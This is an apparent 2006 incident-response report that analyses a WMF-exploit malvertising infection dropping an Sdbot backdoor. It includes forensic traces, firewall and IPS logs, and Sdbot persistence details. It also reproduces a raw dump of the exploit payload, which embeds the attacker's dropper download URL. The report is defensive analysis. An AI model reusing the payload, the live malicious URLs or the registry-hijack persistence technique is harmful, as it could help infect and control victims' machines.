Traffic Threat Analysis : 85.255.113.174 and blacklogic dot net

DO NOT interact with IP addresses or URLs contained in this document unless directed to do so by a qualified incident responder

January 23, 2006

Craig Chamberlain
Vugar Zeynalov
Alain Akiele

DO NOT interact with IP addresses or URLs contained in this document unless directed to do so by a qualified incident responder

Summary

The count3.gif file is actually an executable file disguised as a GIF. It is a downloader or *dropper* program whose job it is to download and install a malicious backdoor program on the target PC. This particular dropper has been reported to install a malicious backdoor program called *Backdoor.Sdbot*.
The count3 program was observed to source from a malicious web site in the Ukraine. This website was installing the program using the WMF exploit in early January 2006. This website has since been turned off and is unavailable for further analysis (it was very likely itself a compromised computer). The program is credited to a organization called blacklogic dot net.

- For more about blacklogic dot net, see appendix A.
- For more on the WMF exploit detection, see appendix B, Traffic Threat Analysis for 85.255.113.174 Jan 5 2006.
- For more about *Backdoor.SDbot*, see appendix C.

This type of malicious backdoor program presents a severe threat to confidentiality and integrity of data. Once installed, it would have the same level of access as the user and could perform any of the following actions:

- Upgrading itself or installing additional malicious programs
- Installing a rootkit* program for invisibility.
- Remotely controlling computers
- Infecting additional computers
- Attacking other assets on the internal networks
- Exfiltrating data

* According to Microsoft, a type of malware common to Unix-based computers is now becoming more common and more sophisticated in the Windows world. The Trojan-horse-like programs--called rootkits--are extremely hard to detect and can grant a hacker complete control over your PC. Microsoft first warned of them at a security conference in February. Then utility vendor Sysinternals released a rootkit detector called RootkitRevealer, and antivirus vendor F-Secure launched a beta of Blacklight, a rootkit detector and remover that it plans to build into upcoming versions of its security products.

This class of malicious program has sophisticated anti-detection capabilities listed below. Because of this, existing technical controls currently in place would be generally ineffective. The program class is designed to evade detection by antivirus and antispyware technologies. Discussion on the blacklogic site indicates above average sophistication and coding techniques (see appendix A).

- The program is designed to silently download and install a rootkit or Trojan horse program in order to compromise systems and / or data.

- It is designed to evade detection by network firewalls and IDS devices by *tunneling* communication inside outbound HTTP; the result is that it's difficult to distinguish this communication traffic from everyday web browsing. This communication method is a hole in modern network security that is commonly exploited by malicious programs.

- It is designed to evade detection by desktop firewalls and proxies by hijacking Internet Explorer.

- It is designed to evade simple pattern matching by generating random file names.

- It is designed to be difficult to debug.

Recommendations

- This class of programs may be detected by traffic inspection. SDbot, for example, will generate IRC traffic. The droppers will generate HTTP traffic that will be more difficult to spot unless it is off-spec protocol, supports pattern matching or is destined for known malicious addresses.

- Egress filtering may be effective at detecting and / or blocking these programs when they communicate with their operator(s) or "phone home". For example, some organizations block all traffic destined for countries where no business relationship exists which host large numbers of malicious servers.

- In order to be effective, data from network security systems should be aggregated and correlated in a security information manager (SIM) and monitored by security operations analysts.

- Removing administrative privileges from the users would tend to limit (but not remove completely) the ability of malicious programs to install themselves. Rootkits, for example, would need administrative privileges.

- Well-tuned host intrusion prevention agents would be required in order to prevent infection by this type of program.

- This specific downloader program may be identified by its file and registry key names. However, if the program has installed a rootkit these are likely not visible. In addition, the program uses random number generation in naming files which will make pattern matching more difficult and it has a cleanup routine designed to remove traces of itself.

Forensic Analysis Excerpts

A sample of the forensic data collected during the investigation is shown below. A complete data set accompanies this document.

Tokenmon data shown below shows the following:

- The program starts a copy of itself in order to evade debuggers.
- It checks and elevates its privileges to be able to install device drivers, necessary in order to install a rootkit.
- It decompresses its payload into a series of temporary files and program fragments, possibly in order to evade detection.
- It cleans up by calling batch files which delete the count3 program and its associated temporary files.

3648	11:28:37 PM	count3.exe:592	604	CREATE PROCESS	00009EDA: \\XP2\Administrator	Parent: explorer.exe:592
3671	11:28:38 PM	count3.exe:980	1336	ADJUST PRIVILEGES	00009EDA: \\XP2\Administrator	ENABLED: LOAD_DRIVER
3672	11:28:38 PM	count3.exe:980	1336	ADJUST PRIVILEGES	00009EDA: \\XP2\Administrator	ENABLED: UNDOCK
3673	11:28:38 PM	count3.exe:980	1336	ADJUST PRIVILEGES	00009EDA: \\XP2\Administrator	ENABLED: LOAD_DRIVER
3674	11:28:38 PM	count3.exe:980	1336	ADJUST PRIVILEGES	00009EDA: \\XP2\Administrator	ENABLED: UNDOCK
3678	11:28:39 PM	count3.exe:980	1336	CREATE PROCESS	00009EDA: \\XP2\Administrator	Parent: count3.exe:980
3679	11:28:39 PM	count3.exe:980	1336	EXIT PROCESS	00009EDA: \\XP2\Administrator	
3721	11:28:44 PM	count3.exe:1432	1436	ADJUST PRIVILEGES	00009EDA: \\XP2\Administrator	ENABLED: LOAD_DRIVER
3722	11:28:44 PM	count3.exe:1432	1436	ADJUST PRIVILEGES	00009EDA: \\XP2\Administrator	ENABLED: UNDOCK
3723	11:28:44 PM	count3.exe:1432	1436	ADJUST PRIVILEGES	00009EDA: \\XP2\Administrator	ENABLED: LOAD_DRIVER
3724	11:28:44 PM	count3.exe:1432	1436	ADJUST PRIVILEGES	00009EDA: \\XP2\Administrator	ENABLED: UNDOCK
3725	11:28:44 PM	net.exe:1432	1436	CREATE PROCESS	00009EDA: \\XP2\Administrator	Parent: count3.exe:1432
3726	11:28:44 PM	net.exe:1432	1436	CREATE PROCESS	00009EDA: \\XP2\Administrator	Parent: count3.exe:1432
3734	11:28:45 PM	iexplore.exe:1432	1436	CREATE PROCESS	00009EDA: \\XP2\Administrator	Parent: count3.exe:1432
3735	11:28:46 PM	net1.exe:1752	1732	CREATE PROCESS	00009EDA: \\XP2\Administrator	Parent: net.exe:1752
3736	11:28:46 PM	net1.exe:1508	1156	CREATE PROCESS	00009EDA: \\XP2\Administrator	Parent: net.exe:1508
3748	11:28:48 PM	cmd.exe:1432	1436	CREATE PROCESS	00009EDA: \\XP2\Administrator	Parent: count3.exe:1432
3749	11:28:48 PM	count3.exe:1432	1436	EXIT PROCESS	00009EDA: \\XP2\Administrator	
3757	11:28:48 PM	net1.exe:1808	1452	EXIT PROCESS	00009EDA: \\XP2\Administrator	
3758	11:28:48 PM	net.exe:1752	1732	EXIT PROCESS	00009EDA: \\XP2\Administrator	
3766	11:28:48 PM	net1.exe:1868	1820	EXIT PROCESS	00009EDA: \\XP2\Administrator	
3767	11:28:48 PM	net.exe:1508	1156	EXIT PROCESS	00009EDA: \\XP2\Administrator	

TDImon data excerpted below shows the following:

- The program hijacks Internet Explorer and forces it to connect to a web site in the Ukraine (the same one the WMF exploit sourced from).
- It connects to a web site in order to download and install a Trojan horse, bot or rootkit program.

614 21.07902066 iexplore.exe:149 81C1CCA8 IRP_MJ_CREATE TCP:10.0.0.0:0 Address Open
Address Open SUCCESS
615 21.07909692 iexplore.exe:149 81C1CCA8 TDI_SET_EVENT_HANDLER TCP:10.0.0.0:1064 Error Event
Error Event SUCCESS
616 21.07911899 iexplore.exe:149 81C1CCA8 TDI_SET_EVENT_HANDLER TCP:10.0.0.0:1064 Disconnect Event
Disconnect Event SUCCESS
617 21.07913352 iexplore.exe:149 81C1CCA8 TDI_SET_EVENT_HANDLER TCP:10.0.0.0:1064 Receive Event
Receive Event SUCCESS
618 21.07914581 iexplore.exe:149 81C1CCA8 TDI_SET_EVENT_HANDLER TCP:10.0.0.0:1064 Expedited Receive Event
Expedited Receive Event SUCCESS
619 21.07915727 iexplore.exe:149 81C1CCA8 TDI_SET_EVENT_HANDLER TCP:10.0.0.0:1064 Chained Receive Event
Chained Receive Event SUCCESS
620 21.07916984 iexplore.exe:149 81C1CCA8 TDI_QUERY_INFORMATION TCP:10.0.0.0:1064 Query Address
Query Address SUCCESS
621 21.07925504 iexplore.exe:149 81C134A0 IRP_MJ_CREATE TCP:Connection obj Context:0x81D03400
Context:0x81D03400 SUCCESS
622 21.07930170 iexplore.exe:149 81C134A0 TDI_ASSOCIATE_ADDRESS TCP:Connection obj TCP:10.0.0.0:1064
TCP:10.0.0.0:1064 SUCCESS
623 21.07933243 iexplore.exe:149 81C134A0 TDI_CONNECT TCP:10.0.0.0:1064 85.255.113.174:80
85.255.113.174:80 SUCCESS-624

Regmon data below shows the program modifying the shell open command in order to ensure the program starts. This is a stealthy technique designed to evade detection by antispyware tools.

Windows executes instructions in the HKEY_CLASSES_ROOT\exefile\shell\open\command "%1" %* section of the registry. Any command imbedded here will open when any .exe file is executed. If keys don't have the "\"%1\" %*" value as shown, and are changed to something like "\"somefilename.exe %1\" %*" than they automatically run the specified file.

As part of their routine, many worms and Trojans make changes to the registry. Some of them change one or more of the shell\open\command keys. If these keys are changed, the worm or Trojan will run each time that you run certain files. For example, if the \exefile\shell\open\command key is changed, the threat will run each time that you run any .exe file. This may also stop you from running the Registry Editor to try to fix this.

2419 30.92655547 count3.exe:1040 OpenKey HKCR\exefile\shell\open\command SUCCESS Key: 0xE14E26A0
2420 30.92657167 count3.exe:1040 QueryKey HKCR\exefile\shell\open\command SUCCESS Name:
\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command
2421 30.92659682 count3.exe:1040 OpenKey HKCU\exefile\shell\open\command NOTFOUND
2422 30.92660911 count3.exe:1040 QueryValue HKCR\exefile\shell\open\command\(Default) SUCCESS ""%1" %*"
2423 30.92662866 count3.exe:1040 CloseKey HKCR\exefile\shell\open\command SUCCESS Key: 0xE14E26A0

DO NOT interact with IP addresses or URLs contained in this document unless directed to do so by a qualified incident responder

2424 30.92665129 count3.exe:1040 OpenKey HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun NOTFOUND
2425 30.92666805 count3.exe:1040 QueryKey HKCR\exefile\shell\open SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open
2426 30.92669348 count3.exe:1040 OpenKey HKCU\exefile\shell\open\command NOTFOUND
2427 30.92671191 count3.exe:1040 OpenKey HKCR\exefile\shell\open\command SUCCESS Key: 0xE14E26A0
2428 30.92672756 count3.exe:1040 QueryKey HKCR\exefile\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command
2429 30.92675242 count3.exe:1040 OpenKey HKCU\exefile\shell\open\command NOTFOUND
2430 30.92676332 count3.exe:1040 QueryValue HKCR\exefile\shell\open\command\command NOTFOUND
2431 30.92678204 count3.exe:1040 CloseKey HKCR\exefile\shell\open\command SUCCESS Key: 0xE14E26A0
2432 30.92680550 count3.exe:1040 OpenKey HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\count3.exe NOTFOUND
2433 30.92682115 count3.exe:1040 QueryKey HKCR\exefile\shell\open SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open
2434 30.92684601 count3.exe:1040 OpenKey HKCU\exefile\shell\open\command NOTFOUND
2435 30.92686445 count3.exe:1040 OpenKey HKCR\exefile\shell\open\command SUCCESS Key: 0xE14E26A0
2436 30.92687981 count3.exe:1040 QueryKey HKCR\exefile\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command
2437 30.92690468 count3.exe:1040 OpenKey HKCU\exefile\shell\open\command NOTFOUND
2438 30.92691669 count3.exe:1040 QueryValue HKCR\exefile\shell\open\command\(Default) SUCCESS ""%1" %*"
2439 30.92702201 count3.exe:1040 CloseKey HKCR\exefile\shell\open\command SUCCESS Key: 0xE14E26A0
2440 30.92704184 count3.exe:1040 QueryKey HKCR\exefile\shell\open SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open
2441 30.92706811 count3.exe:1040 OpenKey HKCU\exefile\shell\open\ddeexec NOTFOUND
2442 30.92708040 count3.exe:1040 OpenKey HKCR\exefile\shell\open\ddeexec NOTFOUND
2443 30.92712230 count3.exe:1040 QueryKey HKCR\exefile\shell\open SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open
2444 30.92714828 count3.exe:1040 OpenKey HKCU\exefile\shell\open\command NOTFOUND
2445 30.92716728 count3.exe:1040 OpenKey HKCR\exefile\shell\open\command SUCCESS Key: 0xE14E26A0
2446 30.92718292 count3.exe:1040 QueryKey HKCR\exefile\shell\open\command SUCCESS Name: \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command
2447 30.92720779 count3.exe:1040 OpenKey HKCU\exefile\shell\open\command NOTFOUND
2448 30.92721980 count3.exe:1040 QueryValue HKCR\exefile\shell\open\command\(Default) SUCCESS ""%1" %*"
2449 30.92723964 count3.exe:1040 CloseKey HKCR\exefile\shell\open\command SUCCESS Key: 0xE14E26A0
2450 30.92726841 count3.exe:1040 OpenKey HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer NOTFOUND
2451 30.92729076 count3.exe:1040 OpenKey HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer SUCCESS Key: 0xE14E26A0
2452 30.92730389 count3.exe:1040 QueryValue HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\InheritConsoleHandles NOTFOUND
2453 30.92732344 count3.exe:1040 CloseKey HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer SUCCESS Key: 0xE14E26A0

Appendix A. Translation and summary of the Russian language website blacklogic dot net

Server: "WWW.BLACKLOGIC.NET"
IP Address: 62.132.1.88
Server Type: Apache 1.3.33

Domain name: "BLACKLOGIC.NET"
Hosted by: "EUROHOSTER.NET"
Division of "Duncan GmbH", Leipzig, Germany
Creation Date: November 22, 2004

Num of users: 108
Active users: "paraZite", "KCEOH", "500mhz", "admin"
Last updated: January 19, 2006
Language: Russian

Summary (translated from Russian):

There is a variety of "hacking" tools with the source code and manuals available for download, including port scanners, encoders/decoders, Trojans, advanced key loggers, and many more…

The participants of the forum are mostly writing there own code in a group, exchanging ideas and helping each other with the beta testing. The program they are busy working on at the moment is intended to read the content of the Windows 2000 System Table supporting Native API calls. Writing a code to do that requires advanced knowledge of the OS internal architecture and access to the mostly undocumented OS API calls.

As of December 28, 2005 the forum is in the "underground" mode. In order to get an access, one needs to send his nickname as well as some information about himself (programming languages, etc.). The "admin" shall grand an access within 24 hours.

On the web site there is a list of links to other Russian hacking web sites, they call ("our friends").

Appendix B .Traffic Threat Analysis for 85.255.113.174

Executive Summary

at 4:04 PM on 1/4/2006 one of the Proventia IPS devices generated a detect for the recent WFC file parser buffer overrun exploit. Two identical events were reported by the Proventia.(see appendix A for the detect data). The wmf file was sourcing from a web server that appears to reside on a network in the Ukraine that has ties to another website which appears to be a black hat site. Initial analysis of network logs revealed no outbound GET request for the file URL, /w/adult.wmf so the file was probably called by another website. Logs do contain some outbound requests for URLs on the same IP address the exploit came from:

```
1       2006/01/04 16:13:01.765 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302013: Built outbound
TCP connection 529915585 for outside:85.255.113.174/80 (85.255.113.174/80) to inside:10.0.0.0/1885
(0.0.146.38/1885)

2       2006/01/04 16:13:01.968 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-5-304001: 10.0.0.0
Accessed URL 85.255.113.174:http://85.255.113.174/in/enter.htm

3       2006/01/04 16:13:02.062 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302013: Built outbound
TCP connection 529915626 for outside:85.255.113.174/80 (85.255.113.174/80) to inside:10.0.0.0/1886
(0.0.146.38/1886)

4       2006/01/04 16:13:02.109 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302014: Teardown TCP
connection 529915585 for outside:85.255.113.174/80 to inside:10.0.0.0/1885 duration 0:00:01 bytes 1234
TCP FINs

5       2006/01/04 16:13:02.296 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302014: Teardown TCP
connection 529915626 for outside:85.255.113.174/80 to inside:10.0.0.0/1886 duration 0:00:01 bytes 414 TCP
Reset-O

6       2006/01/04 16:13:02.343 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302013: Built outbound
TCP connection 529915668 for outside:85.255.113.174/80 (85.255.113.174/80) to inside:10.0.0.0/1888
(0.0.146.38/1888)

7       2006/01/04 16:13:02.562 EST   192.168.0.0    Jan 04 2006 15:59:38: %PIX-6-302014: Teardown TCP
connection 529915668 for outside:85.255.113.174/80 to inside:10.0.0.0/1888 duration 0:00:01 bytes 208 TCP
Reset-O
```

These requests may or may not be the session that resulted in the incoming wmf exploit. It may have been the result of web browsing or spyware activity on the source host. The IP address in the logs returns these results from an nbtstat query at the time of this writing:

```
(nbtstat results have been redacted)
```

Detailed Analysis

Working at home, using Lynx to safely handle the URLs and avoid infection, I did some analysis on the exploit traffic. The IP web server's IP address appears to be a virtual Apache 1.3.33 server running on a host named 85255113174.hbison.com. Interestingly, this server seems to refuse connection attempts from Linux browsers; I was able connect from Lynx but not from any other browser under Linux.

```
Forbidden

   You don't have permission to access /w/ on this server.
```

```
    Apache/1.3.33 Server at 85255113174.hbison.com Port 80


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>403 Forbidden</TITLE>
</HEAD><BODY>
<H1>Forbidden</H1>
You don't have permission to access /w/
on this server.<P>
<HR>
<ADDRESS>Apache/1.3.33 Server at 85255113174.hbison.com Port 80</ADDRESS>
</BODY></HTML>
```

The URL which fired the wmf rule on the Proventia. /w/adult.wmf, contains a payload that redirects the browser to a second URL containing a gif file. The use of a two-stage exploit is a common technique where a small code payload run by an exploit calls a second payload which loads the payload or performs the desired action on the target system. Why the second file is GIF is unexplained but may be due to the low probability of GIF files being filtered out at network perimeters.

```
        R=&ÿÿÿÿÿÀ
Ð       &ÿÿÿÿ&#ÿÿÿÿTNPP ¸2ÿÿOMi
&
TNPPô   &ÿÿÿÿ&TNPPÐÀ
üf-     úÿÿÿ"-- !ðÐÃ-üÿÿÿ-ð     ú"-&ÿÿÿÿGÁ&ÿÿÿÿ
û-      &       ën3Àd@0
Àx
V@p@^Ã@4À|@<Ã`l$$E<|xýO_ Ýã3I4õ3Àü¬ÀtÁÊ
ÐëÔ;T$(uâ_$ÝfK_ÝÅD$aÃë]ÞRè©ÿÿÿÄÇ;ñuìÃNì¥|y
èûýrþ³~ØâS3Ê[OÇ¿)DèWIí~Kã_^ì|ììèAÿÿÿÐëëèùÿÿÿXëëF}H¤~ÿÿuùOöðîEþN}ÎÁ èDTÿÿÿÁ¸netÁ
øPhwiniÜQRSÿUZYÐè]ÿÿÿëë=3Ãf¸+àôVPÿUVÿU 3Àf¸à3ÀPPPPPÿU$E<3ÀPPPP]HSÿu<ÿU(E@ëës3À°
ePha.exe83ÀP°P°P2ÀPP°@ÁàPÿu8ÿUED3Àf¸+àôˆSf¸PFPÿu@ÿU,F
Àt3ÀPFPÿvFPÿuDÿUëÐÿuDÿU3Àf¸àëëB3É+T+áü3Àó ªüÆDwDhuncÿhll,fh a.dheÿ32ha.exÌöQVWPP
PPPPQPÿUÿUèþÿÿhttp://85.255.113.174/345/count3.gifÿ     .       ÿÿÿ.2
¥*      wwwwwwww
û
                        .       ÿÿÿp.2
»*wwww = wwwww

.       ÿÿÿ.    2
```

Strings analysis of this GIF file, count3.gif, reveals executable code and is credited to a second website which looks like a blackhat site:

-=BLT Apex v4.0 - www.blacklogic.net=-

The content from this website's default page is shown below. Interestingly, a portscan of 85.255.113.174 using their tool returns no results so there is definitely some sort of interesting access control on this website where the exploit originated.

```
Blacklogic - advanced spyware technologies (p1 of 6)

                                Black logo

                [menu_l.jpg] Glavnaya Forum [menu_r.jpg]

   Forum

                            Login:  Nik_______
```

```
Parol': __________
     Vojti

    Web toolz

 Anonymity check
   OS detector
   Port scanner
      WhoIs
    Host 2 IP
   b64 enc/dec
```

The GIF file is actually an executable which drops the intended payload which is the end result of the exploit. Strings analysis of the GIF file, count3.gif, returned the following results:

```
VirtualAlloc
VirtualFree
PQVS
t.x,
[^YX
kernel32.dll
ExitProcess
user32.dll
MessageBoxA
wsprintfA
LOADER ERROR
The procedure entry point %s could not be located in the dynamic link library %s
The ordinal %u could not be located in the dynamic link library %s
kernel32.dll
GetProcAddress
GetModuleHandleA
LoadLibraryA
advapi32.dll
shell32.dll
user32.dll
RegCloseKey
ShellExecuteA
wsprintfA
```

Available Timeline Data

Event data from network devices and cookies found on the host provide a partial event timeline.

1. The hosts submits a query to google for the string "corporate dump" and is returned results:

```
17825  2006/01/04 16:12:58.968 EST   192.168.0.0    Jan 04 2006 15:59:34: %PIX-5-304001: 10.0.0.0
Accessed URL 64.233.187.104:http://www.google.com/search?hl=en&q=corporate+dump
17826  2006/01/04 16:13:01.015 EST   192.168.0.0    Jan 04 2006 15:59:36: %PIX-5-304001: 10.0.0.0
Accessed URL
64.233.187.104:http://www.google.com/url?sa=T&ct=res&cd=1&url=http%3A//www.corporatedump.com/&ei=Nze8Q6O
jB8nk4AHm9fGxCA
```

2. The hosts sends a GET request to www.corporatedump.com:

```
17827  2006/01/04 16:13:01.328 EST   192.168.0.0    Jan 04 2006 15:59:36: %PIX-6-302013: Built outbound
TCP connection 529915544 for outside:4.78.57.56/80 (4.78.57.56/80) to inside:10.0.0.0/1883
(0.0.146.38/1883)
17828  2006/01/04 16:13:01.453 EST   192.168.0.0    Jan 04 2006 15:59:36: %PIX-5-304001: 10.0.0.0
Accessed URL 4.78.57.56:http://www.corporatedump.com/
```

No cookie for this website was found on the host; the site does not appear to set cookies at the time of this writing. The host does contain at least one cookie apparently set by casalemedia.com which seems to be the organization which created the corporatedump.com site.

3. One second later the host sends a request to another site, apparently on the same network as the site serving the malicious wmf file. This suggests the request was invoked by redirection of the browser. The corporatedump site appears to contain rotating banner ads sourced from various third parties; it is probable that one of these banner ads redirected the browser.

```
17829  2006/01/04 16:13:01.515 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302013: Built outbound
TCP connection 529915556 for outside:85.255.113.172/80 (85.255.113.172/80) to inside:10.0.0.0/1884
(0.0.146.38/1884)

17830  2006/01/04 16:13:01.531 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302014: Teardown TCP
connection 529915544 for outside:4.78.57.56/80 to inside:10.0.0.0/1883 duration 0:00:01 bytes 892 TCP
FINs

17831  2006/01/04 16:13:01.718 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-5-304001: 10.0.0.0
Accessed URL 85.255.113.172:http://85.255.113.172/in.htm?src=49
```

4. Almost simultaneously, the host sends a request to the site serving the malicious wmf file. This wmf exploit was most likely returned by a script or browser exploit as no GET request for the wmf file is seen:

```
17832  2006/01/04 16:13:01.765 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302013: Built outbound
TCP connection 529915585 for outside:85.255.113.174/80 (85.255.113.174/80) to inside:10.0.0.0/1885
(0.0.146.38/1885)

17833  2006/01/04 16:13:01.843 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302014: Teardown TCP
connection 529915556 for outside:85.255.113.172/80 to inside:10.0.0.0/1884 duration 0:00:01 bytes 688
TCP FINs

17834  2006/01/04 16:13:01.968 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-5-304001: 10.0.0.0
Accessed URL 85.255.113.174:http://85.255.113.174/in/enter.htm

17835  2006/01/04 16:13:02.062 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302013: Built outbound
TCP connection 529915626 for outside:85.255.113.174/80 (85.255.113.174/80) to inside:10.0.0.0/1886
(0.0.146.38/1886)

17836  2006/01/04 16:13:02.109 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302014: Teardown TCP
connection 529915585 for outside:85.255.113.174/80 to inside:10.0.0.0/1885 duration 0:00:01 bytes 1234
TCP FINs

17837  2006/01/04 16:13:02.250 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302013: Built outbound
TCP connection 529915658 for outside:64.56.205.72/80 (64.56.205.72/80) to inside:10.0.0.0/1887
(0.0.146.38/1887)

17838  2006/01/04 16:13:02.296 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302014: Teardown TCP
connection 529915626 for outside:85.255.113.174/80 to inside:10.0.0.0/1886 duration 0:00:01 bytes 414
TCP Reset-O

17839  2006/01/04 16:13:02.343 EST   192.168.0.0    Jan 04 2006 15:59:37: %PIX-6-302013: Built outbound
TCP connection 529915668 for outside:85.255.113.174/80 (85.255.113.174/80) to inside:10.0.0.0/1888
(0.0.146.38/1888)

17840  2006/01/04 16:13:02.562 EST   192.168.0.0    Jan 04 2006 15:59:38: %PIX-6-302014: Teardown TCP
connection 529915668 for outside:85.255.113.174/80 to inside:10.0.0.0/1888 duration 0:00:01 bytes 208
TCP Reset-O
```

The host contained a cookie apparently sourced from the exploit site with a timestamp of 3:59 PM on 1/4/2006:

firstvisit
no
85.255.113.174/in/
1536

4035959040
29758010
3317665536
29757809
*
`

Conclusion

The browser was probably redirected to the sites hosting the WMF exploit by a malicious banner ad that was placed into the rotation pool for www.corporatedump.com.

DO NOT interact with IP addresses or URLs contained in this document unless directed to do so by a qualified incident responder

Appendix A. WMF exploit detect generated by Proventia IPS01:

```
Event Number : 1
Date/Time : 2006-01-04 16:04:12 EST
Tag Name : Image_WMF_Generic_RecordSize_Overflow
Alert Name : Image_WMF_Generic_RecordSize_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 0.0.146.38
Target Object Name : 1886
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 85.255.113.174
SourcePort Name : 80
Sensor DNS Name : IPS01
Sensor IP Address : 192.168.0.0
Sensor Name : IPS01

Attribute Value Pairs for Event Number : 1
Attribute Name : :accessed
Attribute Value : yes
Attribute Name : :adapter
Attribute Value : A
Attribute Name : :code
Attribute Value : 200
Attribute Name : :file-format
Attribute Value : wmf
Attribute Name : :function
Attribute Value : 0x3440
Attribute Name : :maxrecordsize
Attribute Value : 0x7A
Attribute Name : :protocol
Attribute Value : http
Attribute Name : :recordsize
Attribute Value : 0xFFFFFFFF
Attribute Name : :server
Attribute Value : 85.255.113.174
Attribute Name : :URL
Attribute Value : /w/adult.wmf
Attribute Name : algorithm-id
Attribute Value : 2121043
Attribute Name : DROP
Attribute Value : ConnectionWithReset
Attribute Name : EventsBlocked
Attribute Value : 1
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : InlineApplianceMode
Attribute Value : Inline Protection


Event Number : 2
Date/Time : 2006-01-04 16:04:12 EST
Tag Name : Image_WMF_Generic_RecordSize_Overflow
Alert Name : Image_WMF_Generic_RecordSize_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 0.0.146.38
Target Object Name : 1888
Target Object Type : Target Port
Target Service :
Source DNS Name :
```

DO NOT interact with IP addresses or URLs contained in this document unless directed to do so by a qualified incident responder

```
Source IP Address : 85.255.113.174
SourcePort Name : 80
Sensor DNS Name : IPS01
Sensor IP Address : 192.168.0.0
Sensor Name : IPS01

Attribute Value Pairs for Event Number : 2
Attribute Name : :accessed
Attribute Value : yes
Attribute Name : :adapter
Attribute Value : A
Attribute Name : :code
Attribute Value : 200
Attribute Name : :file-format
Attribute Value : wmf
Attribute Name : :function
Attribute Value : 0x3440
Attribute Name : :maxrecordsize
Attribute Value : 0x7A
Attribute Name : :protocol
Attribute Value : http
Attribute Name : :recordsize
Attribute Value : 0xFFFFFFFF
Attribute Name : :server
Attribute Value : 85.255.113.174
Attribute Name : :URL
Attribute Value : /w/adult.wmf
Attribute Name : algorithm-id
Attribute Value : 2121043
Attribute Name : DROP
Attribute Value : ConnectionWithReset
Attribute Name : EventsBlocked
Attribute Value : 1
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : InlineApplianceMode
Attribute Value : Inline Protection
```

Appendix C. Backdoor.Sdbot

Discovered on: April 30, 2002
Last Updated on: August 29, 2005 03:02:31 AM

---

threat assessment | technical details | recommendations | removal instructions

Backdoor.Sdbot is a Trojan horse that opens a back door and allows a remote attacker to control a computer by using Internet Relay Chat (IRC). The Trojan can update itself by checking for newer versions on the Internet.

Also Known As: IRC-Sdbot [McAfee], Backdoor.IRC.SdBot [Kaspersky], BKDR_SDBOT.B [Trend], Troj/Sdbot-B [Sophos], Win32.SdBot.14176 [CA]

Type: Trojan Horse
Infection Length: Varies

Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP

technical details

When Backdoor.Sdbot is executed, it does the following:

1. Copies itself to the %System% folder. The file name to which it copies itself can vary. Some known file names are:
    - Aim95.exe
    - CMagesta.exe
    - Cmd32.exe
    - Cnfgldr.exe
    - Explorer.exe
    - FB_PNU.EXE
    - IEXPL0RE.EXE
    - MSTasks.exe

- MSsrvs32.exe
- Mssql.exe
- Regrun.exe
- Svchosts.exe
- Sys32.exe
- Sys3f2.exe
- Syscfg32.exe
- Sysmon16.exe
- YahooMsgr.exe
- cthelp.exe
- iexplore.exe
- ipcl32.exe
- quicktimeprom.exe
- service.exe
- sock32.exe
- spooler.exe
- svhost.exe
- syswin32.exe
- vcvw.exe
- winupdate32.exe
- xmconfig.exe

NOTE: %System% is a variable. The Trojan locates the \Windows\System folder (by default, this is C:\Windows\System or C:\Winnt\System32), and then copies itself to that location.

2. Adds one of the following values:

```
"Configuration Loader" = "%System%\iexplore.exe"
"Configuration Loader" = "MSTasks.exe"
"Configuration Loader" = "aim95.exe"
"Configuration Loader" = "cmd32.exe"
"Configuration Loader"= "IEXPL0RE.EXE"
"Configuration Manager" = "Cnfgldr.exe"
"Fixnice" = "vcvw.exe"
"Internet Config" = "svchosts.exe"
"Internet Protocol Configuration Loader" = "ipcl32.exe
"MSSQL" = "Mssql.exe"
"MachineTest" = "CMagesta.exe"
"Microsoft Synchronization Manager" = "svhost.exe"
"Microsoft Synchronization Manager" = "winupdate32.exe"
"Microsoft Video Capture Controls" = "MSsrvs32.exe"
"Quick Time file manager" = "quicktimeprom.exe"
"Registry Checker" = "%System%\Regrun.exe"
"Sock32" = "sock32.exe"
```
